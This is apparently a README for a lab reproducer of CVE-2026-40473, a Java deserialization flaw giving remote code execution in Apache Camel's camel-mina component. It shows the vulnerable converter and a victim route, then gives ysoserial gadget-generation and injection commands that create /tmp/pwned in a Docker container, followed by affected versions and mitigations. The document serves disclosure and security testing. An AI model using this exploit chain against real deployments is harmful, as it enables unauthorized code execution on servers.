
Reproducer for CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput unsafe deserialization (RCE over TCP/UDP)
此项目演示了 Apache Camel 的 camel-mina 组件中的一个 Java 反序列化漏洞,跟踪编号为 CVE-2026-40473。MinaConverter.toObjectInput(IoBuffer) 类型转换器将接收到的字节包装在原始的 ObjectInputStream 中,且未设置 ObjectInputFilter;因此,如果路由将 TCP/UDP 正文转换为 ObjectInput 并调用 readObject(),则攻击者可以向 MINA 端口发送精心构造的序列化对象,从而实现 远程代码执行。
公告:https://camel.apache.org/security/CVE-2026-40473.html
| 属性 | 值 |
|---|---|
| 组件 | camel-mina |
| 受影响类 | org.apache.camel.component.mina.MinaConverter (toObjectInput) |
| CWE | CWE-502:不可信数据的反序列化 |
| 影响 | 通过 TCP/UDP 实现远程代码执行 (RCE) |
| 受影响版本 | 从 3.0.0 到 4.14.6 之前,从 4.15.0 到 4.18.2 之前,从 4.19.0 到 4.20.0 之前 |
| 修复版本 | 4.14.6、4.18.2、4.20.0 |
| JIRA | CAMEL-23319 |
| 报告者 | Venkatraman Kumar (Securin) |
IoBuffer → ObjectInput 类型转换器将缓冲区包装在原始的 ObjectInputStream 中:
// MinaConverter.toObjectInput(IoBuffer) - 受影响版本
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = buffer.asInputStream();
return new ObjectInputStream(is); // 没有 ObjectInputFilter
}
当 camel-mina TCP/UDP 消费者传递原始字节(例如使用 allowDefaultCodec=false)并且路由请求 ObjectInput(通过 getBody(ObjectInput.class)、@Body ObjectInput 或 convertBodyTo(ObjectInput.class))时,该转换器会被调用。对返回的流调用 readObject() 即可执行攻击者提供的字节中的任意 gadget 链。
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput
Object obj = oi.readObject(); // 反序列化接收点
exchange.getMessage().setBody("deserialized: " + obj);
});
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# 在 JDK 21 上添加 --add-opens 以生成 CommonsCollections gadget:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# 捆绑的辅助工具打开一个指向 mina:5555 的原始 TCP 套接字并写入字节;受害者路由将其转换为 ObjectInput 并调用 readObject()。
# -> ">>> RCE 证明 — /tmp/pwned 存在:true"
(在此 PoC 中,MINA 端口 5555 是容器内部端口;/exploit/inject 辅助程序从内部执行原始 TCP 发送。如果需要从主机使用原始客户端(如 nc)发送,请暴露端口 5555。)
docker exec cve-2026-40473 ls -la /tmp/pwned
docker compose down
任何 camel-mina TCP 或 UDP 消费者,如果其路由将正文转换为 ObjectInput(直接转换、通过 @Body ObjectInput 或 convertBodyTo(ObjectInput.class)),则任何能够访问 MINA 端口的攻击者都可以利用该漏洞。
ObjectInput 转换的 camel-mina TCP/UDP 消费者。commons-collections:3.2.1)。升级到 4.14.6 / 4.18.2 / 4.20.0。修复方案为转换器添加了 ObjectInputFilter / 类白名单(与 camel-netty、camel-jms 和 camel-infinispan 的强化措施一致)。
在升级之前:
ObjectInput / 不要反序列化它们。CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # 受害者路由:from(mina:tcp).getBody(ObjectInput).readObject()
│ └── ExploitController.java # /inject:通过 TCP 向 mina:5555 发送序列化字节
└── resources/
└── application.properties
此复现工具仅供 安全研究和授权测试 使用,针对的是 已公开披露并修复 的漏洞。未经明确许可,请勿将其用于任何系统。